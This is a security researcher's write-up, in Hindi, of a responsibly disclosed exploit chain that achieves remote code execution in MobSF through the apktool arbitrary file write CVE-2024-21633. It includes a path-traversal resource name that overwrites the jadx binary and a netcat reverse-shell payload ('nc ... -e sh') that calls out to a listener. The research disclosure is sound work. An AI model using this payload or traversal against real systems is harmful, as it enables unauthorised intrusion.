
MobSF दूरस्थ कोड निष्पादन (CVE-2024-21633 के माध्यम से)
मैंने apktool में एक मनमाना फ़ाइल लिखने की कमज़ोरी पाई और गिटहब सुरक्षा सलाहकार के माध्यम से रिपोर्ट की। मुझे पता था कि कई प्रोजेक्ट apktool पर निर्भर थे या उस पर आधारित थे, लेकिन सलाहकार के प्रकाशन और फिक्स के बाद भी बहुत से लोगों ने इस पर ध्यान नहीं दिया या इसकी परवाह नहीं की। मैंने कुछ बड़े निर्भरताओं में इसके प्रभाव और शोषण क्षमता की जाँच करने का फैसला किया, और फिर MobSF से शुरुआत की।
यह कमज़ोरी हमें "${decode target path}/res/" के सापेक्ष पथ पर कुछ भी लिखने की अनुमति देती है, सबसे बड़ा प्रभाव RCE प्राप्त करना होगा। लेकिन एक पकड़ है, लिखी गई फ़ाइल निष्पादन योग्य नहीं है।
गोता लगाने से पहले मेरे दिमाग में ये 2 विचार थे:
लेकिन क्या होगा अगर हम इतने भाग्यशाली हों कि हमें कोई ऐसा ऐप मिले जो किसी फ़ाइल की अनुमतियों को निष्पादन योग्य में बदल दे? और उससे भी अधिक भाग्यशाली हों कि वह उसे बाद में चलाए? और यह सब apktool के निष्पादन के बाद होना चाहिए। यही MobSF के साथ सटीक स्थिति है। MobSF अपने स्थैतिक विश्लेषण के भाग के रूप में jadx का उपयोग करता है, यह jadx को subprocess के माध्यम से कॉल करता है, लेकिन उससे ठीक पहले यह jadx की अनुमति को निष्पादन योग्य में बदल देता है।
लॉग अंश जहाँ apktool, chmod और jadx क्रमशः कॉल किए जाते हैं:
[INFO] 07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK
[INFO] 07/Jan/2024 20:44:16 - Converting AXML to XML
[INFO] 07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out
.
.
.
[INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk
हम jadx को लक्ष्य के रूप में उपयोग करेंगे, लेकिन हमें jadx के सापेक्ष पथ की आवश्यकता है res फ़ोल्डर से। हम इसे पायथन फ़ंक्शन में os.path.relpath() का उपयोग करके प्राप्त कर सकते हैं।
हमारा संसाधन आधार फ़ोल्डर है "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/"
हम jadx बाइनरी को पथ पर ओवरराइट करना चाहते हैं: "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
import os
jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res"
os.path.relpath(jadx_path, res_base_path)
>>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx'
हमारा पेलोड res/raw/jadx में होगा
#!/bin/bash
nc host.docker.internal 9001 -e sh
संसाधन नाम होगा "../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
APK अपलोड करें और jadx के निष्पादित होने की प्रतीक्षा करें, हमें अपने nc लिसनर पर एक शेल मिलेगा।
बिंगो!

फिर मैंने इसे ईमेल के माध्यम से MobSF टीम को रिपोर्ट किया, तुरंत उत्तर मिला और उन्होंने नए apktool संस्करण में अपडेट करके इसे ठीक किया, लेकिन jadx को निष्पादन योग्य बनाने और उसे बाद में चलाने का व्यवहार अभी भी मौजूद है। मैं पहले से ही अनुमति स्थिर रखने और निर्देशिका को गैर-लेखनीय रखने का पक्ष लूंगा।
और अधिक के लिए फॉलो करें! @0x33c0unt